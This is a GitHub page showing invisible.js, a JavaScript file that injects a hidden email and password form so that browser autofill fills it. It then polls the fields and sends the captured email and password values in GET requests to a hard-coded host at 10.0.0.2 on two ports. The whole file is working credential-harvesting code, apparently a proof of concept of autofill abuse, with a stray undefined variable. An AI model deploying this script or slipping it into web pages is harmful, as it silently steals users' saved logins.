-
Notifications
You must be signed in to change notification settings - Fork 0
/
invisible.js
85 lines (71 loc) · 2.78 KB
/
invisible.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
var injectForm = function (visible) {
console.log("Injecting the form");
var container = document.createElement('div');
if (!visible) {
container.style.display = 'none';
}
var form = document.createElement('form');
form.attributes.autocomplete = 'on';
var emailInput = document.createElement('input');
emailInput.attributes.vcard_name = 'vCard.Email';
emailInput.id = 'email';
emailInput.type = 'email';
emailInput.name = 'email';
form.appendChild(emailInput);
var passwordInput = document.createElement('input');
passwordInput.id = 'password';
passwordInput.type = 'password';
passwordInput.name = 'password';
form.appendChild(passwordInput);
container.appendChild(form);
document.body.appendChild(container);
};
var printResult = function (elementId, sniffedValue) {
console.log("omri:" + sniffedValue);
var HttpClient = function () {
this.get = function (aUrl, aCallback) {
var anHttpRequest = new XMLHttpRequest();
anHttpRequest.onreadystatechange = function () {
if (anHttpRequest.readyState == 4 && anHttpRequest.status == 200)
aCallback(anHttpRequest.responseText);
}
anHttpRequest.open("GET", aUrl, true);
anHttpRequest.send(null);
}
}
var client = new HttpClient();
if (elementId == "password") {
client.get(('https://10.0.0.2:8888/ ' + sniffedValue), function (response) {
console.log(mail + ': ' + response);
if (response.includes("whatever")) {
}
});
}else{
client.get(('https://10.0.0.2:9999/ ' + sniffedValue), function(response) {
console.log(mail + ': ' + response);
if (response.includes("whatever")) {
}
});
}
alert(sniffedValue);
};
var sniffInputField = function (fieldId) {
var inputElement = document.getElementById(fieldId);
if (inputElement && inputElement.value.length && (fieldId == "password" || fieldId == "email")) {
printResult(fieldId, inputElement.value);
} else {
window.setTimeout(sniffInputField, 200, fieldId);
}
};
var sniffInputFields = function () {
var inputs = document.getElementsByTagName('input');
for (var i = 0; i < inputs.length; i++) {
sniffInputField(inputs[i].id);
}
};
var sniffFormInfo = function (visible) {
injectForm(visible);
sniffInputFields();
};
var visible_form = false;
sniffFormInfo(visible_form);